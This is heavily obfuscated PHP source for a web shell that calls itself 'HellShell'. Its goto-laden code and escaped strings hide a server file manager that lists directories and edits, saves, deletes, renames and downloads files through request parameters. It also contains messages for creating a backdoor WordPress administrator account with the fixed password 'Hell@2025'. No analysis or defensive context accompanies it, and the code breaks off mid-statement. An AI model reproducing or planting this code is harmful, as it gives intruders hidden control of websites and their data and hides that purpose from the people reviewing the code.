o3UvO: JVFFy: goto dp3bf; mMPhr: vseTk: goto WcKwo; UILML: JRZly: goto lh4fL; nyOcl: goto KIcvZ; goto XZNfU; TZeub: goto mz60F; goto tA7kr; dKObb: PcK78: goto dbyy_; zdB2U: V3gWK: goto u9145; G0bdL: w96y4: goto ulBpB; M0t1W: goto oLutN; goto F8iBn; yvqNV: rVIbV: goto QfgFv; eNMy1: RSt_5: goto Tzhjh; g1Mwd: E5c6l: goto o40iL; b6w1W: goto zPi6x; goto Og_xx; ssDLc: Ln1ZT: goto N5kcV; CeA49: goto OS6HX; goto HDW3d; Lh2Ce: goto jVjWf; goto SCbx4; D1HA1: HjmKJ: goto BiAY0; jN7HS: goto evaVG; goto Qppls; xPHbk: Se3Tu: goto Scnm2; wW_Pu: goto JdfwG; goto VH8fr; hi5J2: goto JVFFy; goto H3hLL; LxY_2: goto Y0R_U; goto KtXCs; HDW3d: EaZ0n: goto YKYhJ; grNQv: goto iMqQ6; goto f0h4T; Qr6DM: LVJwS: goto w6XrN; i0xNU: goto HldqB; goto InW24; UovVL: goto Chjeo; goto uJ9Wa; cQOnS: RGJFQ: goto VjUJ0; Qppls: aFbdp: goto Xsbju; CfdED: goto RGJFQ; goto ePr2H; N7jK5: sRzTa: goto DSRj9; XZNfU: goto YULeT; goto sPmAg; emleV: goto zckap; goto BK9Z2; eoJep: HFjca: goto PElk1; bT8db: goto EaZ0n; goto X0KyS; vUqeX: Avye1: goto G0bdL; Fo4Ze: uJjJO: goto a4qAR; ElKy2: I9xNA: goto NlPIq; VadYr: goto gZ8G9; goto Fo4Ze; Mh9Mz: goto S1QS5; goto veyYh; NlPIq: if (is_dir($B_FcA)) { goto Glzcf; } goto S5FJQ; h_xE4: TqnTE: goto srvFf; uZL8m: goto pz9NH; goto S36Yq; VaAmQ: Dquw7: goto C4tSW; zRGcS: auC7e: goto edsE6; xOGoU: echo htmlspecialchars($jCoCn); goto i0xNU; PElk1: $epbTS = "\x3f\x64\151\162\x3d" . urlencode($JdqDR) . "\46\x72\155\75" . urlencode($B_FcA); goto YF0jv; sPmAg: FpKAZ: goto xOGoU; WbT4H: goto vB3JR; goto zRGcS; nJE0E: XN6Cy: goto eNMy1; VH8fr: jVjWf: goto Hjko0; rCzF8: wbtD5: goto VadYr; kGEuA: QL6U8: goto wTv3h; PeBja: Chjeo: goto c5L6t; uxWZg: goto mK9OZ; goto BH5yT; dbyy_: goto rVIbV; goto Nuhtr; aFy_Q: goto XbFFZ; goto g1Mwd; wTv3h: ne4ge: goto Lh2Ce; grZum: goto ww1pr; goto hiHAj; Scnm2: goto BTRC8; goto BYjEX; rucUY: echo "\74\141\40\x68\162\145\x66\75\47\77\x64\x69\x72\75" . urlencode($B_FcA) . "\x27\x3e\133\x44\x49\x52\x5d\x20{$jCoCn}\x3c\57\x61\x3e"; goto WzKXA; Xsbju: goto gIaSm; goto J2e4b; tuZY1: GtRyG: goto Jds7I; FmD5s: HqXhf: goto HHS0l; n_MvJ: lHL_A: goto h_xE4; CrOLp: oLutN: goto yHJKI; au_ND: $Hltqj = "\x3f\144\x69\x72\75" . urlencode($JdqDR) . "\46\x65\x64\x69\x74\x3d" . urlencode($B_FcA); goto jZlId; ieGSh: kYwc5: goto aiXU6; RbjFb: le7qE: goto o3UvO; PQx9C: Hc5YW: goto WbT4H; o40iL: goto qrqe0; goto C3TUe; J2e4b: goto GtRyG; goto RbjFb; f6V7N: mz60F: goto FjMZZ; dp3bf: goto OuMj7; goto N7jK5; S5FJQ: goto KnG44; goto iSetL; tQEXP: goto le7qE; goto n_MvJ; edsE6: goto RSt_5; goto PDgB3; wVI5R: goto fU0xm; goto zdB2U; VjUJ0: goto LWu5h; goto k381R; PDgB3: goto sRzTa; goto hhHIX; iSetL: Glzcf: goto dWdfR; ZL2Dt: $zg_8u = is_file($B_FcA) ? filesize($B_FcA) : "\x2d"; goto Y66nj; cC8lK: goto I9xNA; goto LjeAj; a4qAR: qrqe0: goto wVI5R; FrdKK: sgnIB: goto WjkFx; hiHAj: vB3JR: goto LxY_2; BSIu1: goto lHL_A; goto aUw7A; pT5jL: goto E5c6l; goto eoJep; RLwy3: goto aFbdp; goto E7qW_; prmJm: goto QL6U8; goto cQOnS; nkieJ: goto LVJwS; goto LF_ML; Og_xx: tVKMg: goto D4Jx_; S36Yq: rKfzf: goto D1HA1; BiAY0: goto FpKAZ; goto WjfbZ; nxkyZ: XmNHK: goto PWZsV; BYNaH: if (!($jCoCn === "\x2e")) { goto tVKMg; } goto b6w1W; iT0U6: goto Y7YW8; goto CrOLp; Y63ME: KIcvZ: goto wW_Pu; aeLSj: mK9OZ: goto BYNaH; F8iBn: HldqB: goto nyOcl; InW24: pz9NH: goto fAGNE; E7qW_: yJrNY: goto TZeub; u9145: iMqQ6: goto ZEQ3y; d5M8e: Y7YW8: goto rucUY; fAGNE: $nMJTQ = is_writable($B_FcA) ? "\x23\x66\146\60" : "\43\146\x30\60"; goto I175j; xKN8C: cSOBQ: goto VaAmQ; WcKwo: WT6NY: goto uxWZg; FjMZZ: goto k0tWZ; goto nt4Ds; PWZsV: zPi6x: goto kj4no; uJ9Wa: k0tWZ: goto YhIq7; khUIN: goto wGijR; goto XAOvM; LF_ML: JdfwG: goto WYe8a; FdShd: Y0R_U: goto iT0U6; C4tSW: goto Avye1; goto xPHbk; zH3J1: goto HjmKJ; goto jN7HS; QfgFv: goto cSOBQ; goto PeBja; Nuhtr: goto HqXhf; goto u1Ujr; KtXCs: goto XN6Cy; goto nJE0E; Tzhjh: goto vUVxy; goto x1Zlu; I175j: goto hhcfl; goto vUqeX; sriQb: fU0xm: goto rCzF8; veyYh: p4DnE: goto hi5J2; WjfbZ: v8v3A: goto Ne9GF; HHS0l: wGijR: goto nkieJ; u23sO: goto LnGzv; goto ddkME; h9Ahu: vUVxy: goto u7lJB; yKuUf: goto wbtD5; goto SfTo5; WzKXA: goto auC7e; goto OZKHg; YF0jv: goto p4DnE; goto sriQb; ybvzn: goto pwhrg; goto p3ddV; ePr2H: gZ8G9: goto grNQv; Ne9GF: $B_FcA = $JdqDR . "\x2f" . $jCoCn; goto UovVL; D4Jx_: goto Zs341; goto Qr6DM; XcsWr: KnG44: goto u23sO; x1Zlu: gC_nZ: goto ssDLc; OZKHg: n9JmS: goto khUIN; H3hLL: goto uJjJO; goto dKObb; Y0rSP: gIaSm: goto grZum; C3TUe: goto rKfzf; goto bxbKZ; LjeAj: OuMj7: goto au_ND; kj4no: goto yJrNY; goto kpLTJ; bxbKZ: loqVU: goto oTceV; aUw7A: evaVG: goto f6V7N; f0h4T: goto V3gWK; goto ElKy2; BK9Z2: goto PpN1E; goto FrdKK; sHonK: Zs341: goto yKuUf; lh4fL: iUN4R: goto BSIu1; Jds7I: BA5Y_: goto aFy_Q; srvFf: goto PcK78; goto mMPhr; u7lJB: b1Sy6: goto oVW4n; UyE9z: goto sgnIB; goto nxkyZ; ddkME: S1QS5: goto Y0rSP; SF4P0: goto HFjca; goto FmD5s; ulBpB: } goto xExXe; PDrMa: if (empty($_POST["\x73\141\166\145\x66\151\x6c\x65"])) { goto AMiM3; } goto i7xEX; fK2Ze: goto uPBS1; goto JelQD; Zjoa3: UE4UV: goto KJ9DW; Vnkje: goto J2g9H; goto iO6Px; pfb_H: goto YdNYY; goto DZPMO; A3iAc: goto BPJ4w; goto H_Ys8; Orv0N: dLMym: goto m0qBm; pq4ZS: goto g6iHC; goto hKizP; kD6XT: goto PMfz0; goto f4YMc; jyS94: goto wG4QQ; goto beXJa; ElFdE: if (!(!$JdqDR || !is_dir($JdqDR))) { goto NEL4y; } goto txvvt; QkkKu: $OYF8c = realpath($_GET["\162\x6d"]); goto GFjzR; yUnRu: lAGKT: goto tkAOW; LhIiH: goto O2GDB; goto ecHb3; UDF0S: QT1FZ: goto XnTpj; RhnSC: AyUTC: goto l3eRf; kmudu: header("\x43\157\156\164\x65\x6e\x74\55\104\x69\x73\160\x6f\163\x69\164\151\157\x6e\72\40\141\x74\164\141\143\150\155\145\x6e\164\x3b\40\x66\151\x6c\145\x6e\x61\155\145\x3d\x22" . basename($xBtNn) . "\42"); goto vGXSF; Dh0LO: goto IfnJf; goto qjebX; rQbqD: goto R2qCT; goto dJQ6q; lhDSv: goto tMLMs; goto UGHVI; IrMlS: QjXFk: goto zN5y3; jEBL_: goto bdO96; goto RnKjm; QIsGB: yRMAV: goto O3TT9; KEX0F: goto Hm5Mz; goto JOi4O; AxE95: goto X_VRy; goto bqqHi; KVKlT: goto Vpv02; goto C7_fs; fJCbZ: q0QYS: goto OksMU; fj_AW: pnE5r: goto Fn2MS; ZGS9I: echo "\74\x2f\x75\x6c\x3e\74\x68\x72\76"; goto Lct8Y; fZ4fb: MyQwH: goto zxPvx; GzHf1: wodEv: goto Xq2OV; OiT2O: SuKca: goto RTRbS; WHIvP: goto hRga3; goto xlAOS; uzFib: XO56O: goto gw4Nl; iwikX: goto Naw4a; goto nuJVB; SAtNS: rxTcl: goto nl37G; T7lRt: echo "\x3c\x21\x44\117\103\124\131\120\105\40\x68\164\155\x6c\76\12\x3c\x68\164\x6d\154\76\12\x3c\150\x65\141\144\x3e\xa\x3c\155\145\x74\x61\40\143\150\x61\x72\x73\x65\x74\75\x22\165\164\x66\x2d\x38\42\76\xa\x3c\x74\151\164\x6c\x65\x3e\x48\x65\154\154\123\x68\145\x6c\x6c\74\x2f\x74\151\x74\x6c\x65\76\xa\74\x73\164\171\154\145\x3e\12\x62\157\x64\x79\x20\x7b\x20\142\141\143\153\147\162\157\165\x6e\144\x3a\43\x30\x30\60\x3b\40\x63\157\154\157\162\72\43\146\146\60\73\x20\x66\x6f\156\164\x2d\146\141\x6d\x69\154\x79\x3a\x41\x72\x69\x61\x6c\54\40\x73\x61\156\x73\55\x73\x65\x72\x69\x66\x3b\40\x74\145\x78\164\x2d\x61\154\x69\147\x6e\x3a\x63\145\x6e\164\x65\162\x3b\40\175\xa\150\x32\40\x7b\x20\143\x6f\x6c\157\x72\72\x23\x66\x66\60\73\x20\155\x61\162\147\151\156\72\62\60\160\170\40\60\x3b\x20\175\xa\141\x20\x7b\40\x63\157\154\157\x72\72\x23\146\x66\60\73\x20\x74\x65\170\x74\55\x64\x65\143\x6f\x72\x61\x74\x69\x6f\x6e\x3a\156\x6f\156\145\x3b\x20\x7d\12\141\72\150\157\x76\145\162\x20\173\40\x74\x65\170\x74\x2d\x64\x65\x63\x6f\162\x61\164\151\x6f\x6e\x3a\x75\x6e\x64\145\162\x6c\x69\156\145\73\40\175\xa\x2e\x6f\x6b\x20\173\40\143\157\154\157\x72\x3a\x23\x30\146\x30\73\x20\175\xa\x2e\145\162\162\x20\x7b\x20\x63\x6f\x6c\x6f\162\x3a\43\146\60\60\73\40\x7d\12\56\x77\x61\x72\156\40\173\x20\143\157\154\157\162\x3a\43\146\146\x30\73\40\175\12\x74\x61\x62\154\145\40\x7b\40\167\x69\144\x74\150\x3a\x39\60\45\x3b\x20\x6d\141\x72\147\151\x6e\x3a\x61\x75\x74\x6f\x3b\x20\x62\157\162\x64\x65\x72\x2d\143\x6f\154\154\x61\160\x73\x65\72\143\157\x6c\154\141\160\x73\145\73\x20\x6d\x61\162\147\x69\156\55\x74\x6f\x70\x3a\x32\60\x70\x78\x3b\40\x7d\xa\x74\144\54\164\x68\x20\173\x20\142\157\162\x64\x65\x72\72\x31\160\x78\40\163\157\154\x69\x64\40\x23\65\x35\x35\73\40\160\141\144\x64\151\x6e\x67\x3a\66\x70\x78\73\40\175\xa\x66\x6f\162\155\56\x69\x6e\154\151\156\145\x20\173\40\144\151\x73\x70\154\141\x79\72\151\x6e\154\x69\156\145\73\x20\175\xa\151\156\x70\x75\164\54\142\x75\164\x74\157\156\x20\173\x20\160\x61\x64\x64\x69\x6e\147\x3a\65\x70\x78\x3b\x20\x6d\141\162\147\151\156\x3a\63\160\x78\x3b\x20\x62\x61\143\153\x67\162\x6f\x75\x6e\144\72\43\61\x31\x31\x3b\40\142\x6f\x72\144\x65\162\72\x31\160\x78\x20\x73\157\154\x69\x64\40\x23\x66\x66\60\x3b\40\143\x6f\154\x6f\x72\72\43\146\146\60\73\x20\175\xa\142\165\164\x74\x6f\x6e\x5b\x6e\x61\155\145\75\143\154\157\156\145\137\150\145\x72\x65\x5d\40\173\40\155\x61\x72\x67\x69\156\55\x6c\145\146\164\x3a\61\60\160\170\x3b\40\x7d\xa\74\x2f\163\x74\x79\x6c\145\76\12\74\57\x68\145\141\144\76\xa\x3c\142\x6f\144\171\x3e\xa\x3c\x68\62\76\303\xb0\xc5\xb8\342\x80\x9d\xc2\xa5\x20\110\145\x6c\x6c\x53\x68\145\154\x6c\74\57\150\x32\76\12\x3c\160\76\x3c\142\x3e\120\x61\x74\x68\x3a\x3c\x2f\142\x3e\x20"; goto vmpMT; bnXuH: WjR1c: goto WkJJa; QjW0N: goto fYnAP; goto d5V4O; fW3YQ: Q8yTR: goto iXCp0; uFRdk: goto NqXEh; goto TqSGu; W3QoJ: TwgIS: goto CeVou; DBRvW: goto KR4dN; goto iKuDw; bZY1K: Jfy1n: goto V5q18; jG054: goto vulF5; goto gTcbi; Z_j7r: goto eYfsX; goto GzHf1; P18Wf: HKpfc: goto ZvKn_; rdMJx: vVbZO: goto GGuih; kj73H: goto w1uy_; goto NS_P6; vROd0: goto VrXPo; goto c9tdZ; xH_q2: fglM4: goto cvGW1; V3pkU: TbGY0: goto vWI69; SgrjO: SuiMc: goto G6_zE; KGpi0: goto Tbxrx; goto t7D2Y; vw0N5: goto eL3o9; goto yUM6u; zmw15: EtncM: goto x2NQw; JSfsG: LMiFP: goto OlNXB; Neq8l: lGDG8: goto CUAcn; Wrhjv: Kjfaz: goto hxDMW; ruGiS: goto DwIlf; goto e9J83; iE4ih: uLRAc: goto LQGuL; LvC12: tnzae: goto fzZPn; cytL0: echo "\x3c\57\x74\x61\142\x6c\x65\76\xa\xa\74\x73\x63\x72\151\160\164\76\12\x66\165\156\143\164\151\157\156\x20\x72\145\156\x61\x6d\x65\x43\157\156\x66\x69\162\155\50\146\157\162\x6d\51\40\x7b\xa\40\40\x20\x20\162\145\x74\x75\x72\x6e\x20\143\x6f\x6e\x66\151\x72\155\x28\x27\x52\x65\156\x61\x6d\145\40\x66\151\154\x65\77\47\x29\x3b\12\x7d\xa\74\x2f\163\x63\162\151\x70\164\x3e\12\12"; goto XcJod; RJvzj: VhhHo: goto L1Cpe; NfLr7: YxNMY: goto ObNtA; xhbvE: goto u4PS7; goto Qy7Ry; Ew4Vq: goto mmZKh; goto zpqr9; Mg0kq: BsQIO: goto Zjoa3; LThxC: wxbwg: goto RFrGN; L1Cpe: SYxdL: goto Wc2_k; oyvT0: kDQNo: goto dgkA2; TqSGu: JR8P0: goto JzMHZ; GKsnu: goto hbxNU; goto rs6hQ; EOJg3: goto wZ7ek; goto A4CH8; OzAbI: zsCef: goto U4WAK; syZL1: goto ff9Yy; goto LQfqR; wbqkt: goto UN8fq; goto lxDkg; wD9U7: Tbxrx: goto qoyb0; fotv5: FEh9e: goto klNYr; Xn1aA: goto SScWF; goto HcGlG; U3dVg: goto CggXw; goto oIF6W; dO0pw: function hX3BK($CLC3r = 6) { goto z6NSK; E9SDk: oZVYN: goto gVstI; IQFeb: JSXiv: goto hGplP; IRvQ1: goto Uoi0P; goto C2mPv; JzN0o: goto SJm82; goto M_YmK; C2mPv: UTj5s: goto aT2rK; XlvWZ: f4i3v: goto Nbywx; xaxQT: goto gaqC3; goto V98iK; ctTrq: ezfiV: goto mHC28; uClj2: goto F9402; goto a5jfy; p_dWZ: goto oP8e9; goto zEJyW; wmObU: goto oZVYN; goto aL2My; k70cv: YQnip: goto oysAB; V5ADG: $VHE4e = 0; goto uClj2; QLABN: goto iUYvM; goto Qu1oE; zEJyW: gN3A3: goto QLABN; k02CQ: hV90C: goto IJCBC; M_YmK: fXdFk: goto iMW62; U6iKU: jPu3B: goto XSFRG; xt_eX: f3v9J: goto vMsmb; oysAB: Xx_aN: goto y6Ovi; n9omV: TeIVw: goto Zqp_y; O_THI: ZBde5: goto p_dWZ; AUACC: goto jPu3B; goto Z1zM2; vehzS: Fnpg7: goto pMWTY; sTNzp: goto DaFlI; goto Om_yR; WcNk9: jLVFi: goto sEtis; z6NSK: goto AbpJ5; goto wiXcI; kTKoJ: p3hjl: goto pheJZ; xqy9y: goto YQnip; goto NVDWg; M7OJn: goto cnaEO; goto vq7Jv; e8skV: Uoi0P: goto AUACC; OzeKL: y5FS_: goto dG0BS; pheJZ: iUYvM: goto mWfW7; wWOHx: goto Zqsgl; goto n9omV; pyEPj: GpK83: goto FWlLI; elhIF: OGdFC: goto tkzAW; sEtis: goto GpK83; goto M7OJn; UAHC2: gaqC3: goto WoCa_; IJCBC: L14AX: goto i44FY; wiXcI: fX0Y4: goto v3Dhr; Aecwo: goto OGdFC; goto nZQe6; OzlOw: goto hSU5m; goto cNzaz; s1NPZ: $wDHLd = ''; goto SXxlC; BUHLn: goto XuJqe; goto xaxQT; v3Dhr: XuJqe: goto Aecwo; aT2rK: goto Kfi1D; goto mkqeO; vq7Jv: YdBmX: goto WpMY8; B09uE: goto TeIVw; goto XlvWZ; V98iK: DUsZn: goto mTBTt; aL2My: AbpJ5: goto c3kNA; cNzaz: goto p3hjl; goto aH1n2; n9Ean: return $wDHLd; goto RWIZS; tkzAW: goto w7r8p; goto zFdLi; crGmt: goto YdBmX; goto DMP9E; ZMAnM: goto Dpav7; goto k02CQ; fbdWV: bNXG2: goto O_THI; ONLdM: hSU5m: goto JzN0o; i44FY: goto Du3Bd; goto cHOhe; c3kNA: goto Sv9CS; goto otKq1; yjuQa: QuBwT: goto sTNzp; zFdLi: goto gN3A3; goto fbdWV; DMP9E: PqKeK: goto BUHLn; B6M7m: goto fX0Y4; goto gBnuW; FWlLI: goto ezfiV; goto KOMPn; O0Hpy: F9402: goto Kazcb; WpMY8: Ox0Yj: goto B09uE; hE0kD: goto PqKeK; goto k70cv; WoCa_: Sv9CS: goto wmObU; BWEYW: goto BxgG1; goto VvUlS; XSFRG: goto Xx_aN; goto mhSbN; o_5T6: goto LZqJ2; goto U6iKU; mHC28: if (!($VHE4e < $CLC3r)) { goto UTj5s; } goto IRvQ1; mTBTt: goto ZBde5; goto xqy9y; ajZr2: goto hV90C; goto E9SDk; dcOXU: Du3Bd: goto wJQPo; dG0BS: goto DUsZn; goto mjfie; VvUlS: goto IMDUY; goto elhIF; NVDWg: oP8e9: goto eClIJ; RWIZS: goto JSXiv; goto Pc7ES; otKq1: goto ak10X; goto WcNk9; mjfie: IMDUY: goto e8skV; UhbvS: goto ZYSkF; goto ZMAnM; IICYx: goto jLVFi; goto xt_eX; Nbywx: BxgG1: goto wWOHx; iMW62: ZYSkF: goto toxtZ; pMWTY: mI7hJ: goto BONSU; BONSU: goto sOwgY; goto r7_gy; ezTwV: goto QuBwT; goto ajZr2; Z1zM2: DaFlI: goto V5ADG; nZQe6: Dpav7: goto yjuQa; cHOhe: Kfi1D: goto BWEYW; toxtZ: goto inuE4; goto eYYSc; wJQPo: w7r8p: goto IICYx; gVstI: $SOGXc = "\x61\142\143\x64\x65\146\147\150\x69\152\x6b\x6c\x6d\x6e\157\160\x71\162\163\x74\165\x76\167\x78\171\x7a\x30\61\62\x33\x34\x35\x36\x37\70\x39"; goto OIEey; gBnuW: inuE4: goto n9Ean; Om_yR: sOwgY: goto OzeKL; Kazcb: goto L14AX; goto crGmt; OIEey: goto yUB7o; goto ctTrq; mhSbN: goto Fnpg7; goto vehzS; mWfW7: goto f4i3v; goto dcOXU; eYYSc: AlwMZ: goto ezTwV; szVeO: goto mI7hJ; goto h9veS; hGplP: goto Ox0Yj; goto B6M7m; r7_gy: yUB7o: goto OzlOw; vMsmb: $wDHLd .= $SOGXc[rand(0, strlen($SOGXc) - 1)]; goto o_5T6; mkqeO: cnaEO: goto pyEPj; y6Ovi: goto f3v9J; goto UAHC2; Qu1oE: goto bNXG2; goto O0Hpy; eClIJ: $VHE4e++; goto hE0kD; KOMPn: SJm82: goto s1NPZ; SXxlC: goto AlwMZ; goto kTKoJ; h9veS: goto fXdFk; goto IQFeb; a5jfy: LZqJ2: goto szVeO; Pc7ES: ak10X: goto ONLdM; aH1n2: Zqsgl: goto UhbvS; Zqp_y: } goto QPDRP; INens: goto QRu0E; goto KCaqs; kT4U8: SjQoV: goto IrBBt; RUZzO: goto gUKWt; goto yRzSi; Kdmp4: goto kOZC5; goto d1ymB; bprOo: goto hqvji; goto VR99U; lxDkg: Vz7Nc: goto xLzC1; tXmFa: goto mrEaW; goto KmpX7; ZnsV8: XVnA0: goto cpkaA; PcG05: PEDAo: goto jUo7I; CsPsQ: goto Vz7Nc; goto u3UcH; wbKnl: zT7B3: goto Ts3fo; TVfkN: l5mRt: goto sXGTh; ya2iC: $hznvy .= "\74\144\x69\x76\40\x63\x6c\x61\x73\x73\x3d\47\x6f\x6b\x27\76\xc3\xa2\305\223\xe2\200\x9d\x20\127\x50\x20\x41\x64\x6d\151\156\x20\103\162\145\141\164\145\x64\x3a\40\150\x65\154\154\40\57\40\x48\145\x6c\x6c\x40\x32\x30\62\x35\x3c\57\x64\x69\166\x3e"; goto lOUZQ; klNYr: goto nyxtr; goto auij7; by2Me: uU3hK: goto ReGJh; mUedk: ww1U4: goto Ms1xZ; BMgJY: goto YV7J3; goto LK7PK; HsnEG: goto FQi0d; goto nDgjJ; SGYFQ: C6uMX: goto Tm20x; c6i_W: cBi0z: goto MpkXP; mEyIg: AJEvA: goto ya2iC; TH0hL: goto eidbW; goto dpuZk; xkb3Y: goto FAGob; goto MjtI0; zN5y3: wHPSX: goto XkG1y; zGsRd: goto fZku2; goto N_bhX; HQKM6: Kh6bK: goto pWLEz; Y39BH: SGf7r: goto LHCPs; OQA_Z: goto jFF3F; goto YRBfv; INFFL: $D8SPt = __FILE__; goto GETqH; G8pQn: V35gp: goto tXmFa; CH5gS: goto kZyGP; goto QVOeC; xglhX: goto FH10o; goto P18Wf; HgL8O: v26Id: goto h1gA6; fzZPn: goto TiAaS; goto cqOD9; IrBBt: zwr0b: goto nJOL3; f2HDu: tALZ4: goto asy96; SU2aS: goto M_aAL; goto FBet9; GGaB5: goto QxCZA; goto rHduz; fbCMn: iFm00: goto dDHyn; WRtx2: goto nCsBk; goto VJPkJ; v_bQx: goto yuxjg; goto DkneV; QasTk: kNvRZ: goto pmKLG; psN7E: Xt2yl: goto rTRoz; i6StH: goto KOcL8; goto fotv5; UGHVI: YeuQW: goto di3MM; VWhb1: K14Rm: goto leSQu; U4WAK: echo "\74\146\x6f\x72\x6d\x20\x6d\x65\x74\x68\157\144\75\47\160\x6f\163\164\47\76\74\164\145\170\164\x61\162\145\x61\x20\156\x61\x6d\145\x3d\47\146\151\x6c\x65\x64\141\164\x61\47\76{$mdI48}\x3c\57\164\x65\x78\164\x61\162\x65\x61\x3e\74\x62\x72\x3e\74\142\165\164\164\x6f\156\x20\x6e\x61\x6d\x65\x3d\47\x73\x61\x76\x65\x66\151\x6c\x65\x27\x3e\x53\x61\x76\x65\74\57\142\x75\164\x74\x6f\156\76\40\x3c\141\40\150\162\x65\x66\x3d\x27\x3f\x64\x69\162\x3d" . urlencode($JdqDR) . "\x27\40\163\164\x79\154\145\75\47\143\x6f\x6c\157\x72\x3a\x23\x66\x66\60\47\76\102\x61\143\153\x3c\57\x61\x3e\74\x2f\146\x6f\x72\155\76"; goto Lx0XR; bkpQm: goto vh4Ya; goto JrmU1; HMmv3: goto VhhHo; goto C1F0D; zF2eE: An6YB: goto mxgcF; YS87K: goto DpXAP; goto MnYYv; nmlvO: KR4dN: goto UmErq; DYzZc: goto Jc76G; goto NRbvr; nY_1Q: veDoV: goto fdusi; v8gH4: goto z3aiS; goto hQr7P; G5dt5: goto LGhol; goto tuKb4; fFQF6: goto N8UWO; goto UVUtQ; n0AyI: goto c1Y1i; goto mGj0u; uSV6y: $hznvy .= "\74\144\151\x76\x20\x63\x6c\141\x73\163\75\47\145\x72\x72\47\76\xc3\242\xc5\223\313\x9c\x20\x57\120\x20\165\x73\145\x72\40\143\x72\145\x61\x74\151\x6f\156\40\x65\162\162\157\x72\x3c\57\x64\x69\166\x3e"; goto bprOo; W8XxV: goto CfqF0; goto Mix7i; OmOy_: goto QJ85Y; goto B7Xir; KMUru: DwIlf: goto t45jc; aO1F2: goto h_uEZ; goto y2JC5; A8SPk: CLznv: goto PC1uP; eM273: goto D0vP0; goto HK11o; CUWhv: goto OFmO8; goto UBRcC; AUr_O: goto Ke450; goto ltaRC; ky0ox: QIr9i: goto nndCL; g7eCo: goto Qjkti; goto W6N2X; olZtW: jQe1n: goto hyfoa; dSIe6: Pu1yM: goto SgrjO; PWPPT: nWrVW: goto CTQ0O; drhqD: X_y0p: goto B05Ub; cFVUB: $D6V0J = dirname($D6V0J); goto yikDg; uJ1Au: En4Bl: goto DBRvW; doVAA: goto Q_gWi; goto IJm2S; B1nVA: J2g9H: goto Z_1_4; H7UpU: HjMDE: goto OBxJ0; XM0Z1: foreach ($HbhNW as $JUtnp) { goto aUrNh; Q3Zqf: zKduV: goto u2qPg; s9vav: echo "\x3c\x6c\151\76\x3c\141\x20\x68\x72\x65\146\x3d\47{$JUtnp}\47\x20\164\141\162\x67\145\164\75\47\137\x62\154\141\x6e\153\x27\x3e{$JUtnp}\x3c\57\x61\76\74\x2f\154\x69\76"; goto sQ3ib; gKlF6: goto DWhQa; goto jqHoR; NYDkV: DWhQa: goto Q3Zqf; aUrNh: goto cMRko; goto e9uV9; B4EMc: qoZyg: goto gKlF6; JtDgN: DeS4P: goto UsVfk; eOIIu: rsRDR: goto B4EMc; u2qPg: goto t0TJ3; goto eOIIu; jqHoR: t0TJ3: goto JtDgN; sQ3ib: goto rsRDR; goto NYDkV; e9uV9: cMRko: goto s9vav; UsVfk: } goto Orv0N; ePZM9: goto aCSQe; goto d_uUZ; kodTq: goto QIr9i; goto N0XQT; d5V4O: goto Rq_co; goto Vxlow; d8vt9: kwn_w: goto Zq6n4; AuBcD: z3pf1: goto nqTXH; FR0vb: FtsP2: goto e4HMG; TNSh_: echo "\74\41\x44\x4f\103\x54\131\120\105\x20\x68\164\x6d\x6c\76\74\x68\164\x6d\154\x3e\x3c\150\x65\x61\144\76\x3c\x6d\x65\164\141\40\x63\x68\141\x72\163\145\164\75\x27\165\x74\146\55\70\x27\x3e\x3c\x74\x69\x74\x6c\x65\x3e\105\x64\x69\x74\x3c\x2f\164\x69\164\x6c\145\76\xa\x20\x20\x20\x20\40\x20\x20\40\74\163\x74\171\x6c\145\76\xa\40\40\40\40\40\40\40\40\x62\157\x64\x79\173\x62\x61\x63\153\147\162\157\x75\156\x64\x3a\43\60\60\60\73\143\x6f\154\x6f\x72\72\43\x66\146\x30\x3b\146\157\156\164\x2d\x66\x61\x6d\151\154\x79\x3a\155\x6f\156\157\x73\160\x61\x63\x65\73\164\x65\170\x74\55\141\x6c\x69\x67\156\x3a\x63\145\x6e\164\x65\x72\x7d\12\40\40\x20\40\40\40\40\40\x74\145\170\x74\x61\x72\145\x61\173\x77\151\144\164\150\x3a\71\x35\45\73\150\145\151\x67\150\164\x3a\x38\60\x76\150\x3b\142\x61\143\x6b\x67\162\157\165\x6e\144\x3a\x23\x31\61\61\73\143\157\x6c\x6f\x72\x3a\43\146\x66\x66\73\142\157\162\144\145\x72\x3a\x31\160\x78\x20\x73\157\154\151\144\40\43\x66\x66\x30\175\xa\x20\x20\x20\40\40\x20\x20\40\142\165\x74\x74\x6f\156\x7b\x70\x61\x64\144\x69\156\147\x3a\70\160\x78\73\x62\141\x63\153\x67\x72\x6f\x75\x6e\x64\72\x23\x32\62\62\x3b\143\157\x6c\157\162\x3a\43\146\x66\x30\73\142\x6f\162\144\145\x72\72\x31\x70\x78\40\163\x6f\154\151\x64\x20\43\146\x66\x30\x7d\12\x20\40\40\40\x20\40\40\40\x3c\57\163\x74\171\154\145\76\x3c\57\150\145\141\144\x3e\74\x62\157\144\171\76"; goto Yv5N0; HcGlG: fciXr: goto EZGSd; TwqXQ: mNINs: goto XPX4t; yW17m: R7fQw: goto uJ1Au; N_bhX: jkCKs: goto wwM9e; QqInZ: FQi0d: goto cAAde; XLvuk: N8UWO: goto I2Et3; QsPIc: hbxNU: goto Dvq11; LK51e: goto sqq0b; goto gru6B; qa8k3: goto B20kN; goto QWgsx; vH8mz: goto GTMrE; goto q2PPw; tuKb4: zyr_3: goto XM0Z1; YRVUI: goto a1JYq; goto q7YAy; WoibB: goto Mpw0a; goto U0S7x; wkKdZ: xwHle: goto M1sbV; kMj6k: goto GFznw; goto ZenZd; M4u07: goto DCCBg; goto wEY1S; lVtDI: hKkuU: goto cLM9z; zpqr9: goto qCPgI; goto PLsH_; rk09R: goto jQe1n; goto K4XlR; xWAA_: E3cAA: goto V19mR; Zf00L: goto fXR_9; goto orK6d; MAhYk: oCdVG: goto sFQq4; RCvXC: QLiDU: goto HI3Eh; wjSI3: goto WPvfP; goto UJv1z; Kw4uo: goto DbkW8; goto ZqkGP; rHduz: oRPQR: goto nRCFw; juHmK: goto f5n0p; goto GsX13; zfi1i: goto Pu1yM; goto CZKTK; NW2YB: iMPZC: goto cQw0H; ZhMNW: goto ocCsn; goto lJLwF; a3NhY: goto xqiY_; goto VrDET; M_ySO: rpkEp: goto Nluj9; C3gIo: goto U2hWI; goto O1iFw; ELRzR: goto roQYD; goto noXGz; Z2WKx: goto zWmwG; goto Due3P; cWIi8: aw61p: goto RUZzO; jUo7I: kTdtq: goto drZ7J; T_f2O: goto z3pf1; goto qtOMu; m6xtS: kOZC5: goto akk14; ErcjN: ff9Yy: goto zGznt; xihPS: goto Mui_y; goto DULDq; YvG2f: w4G6M: goto 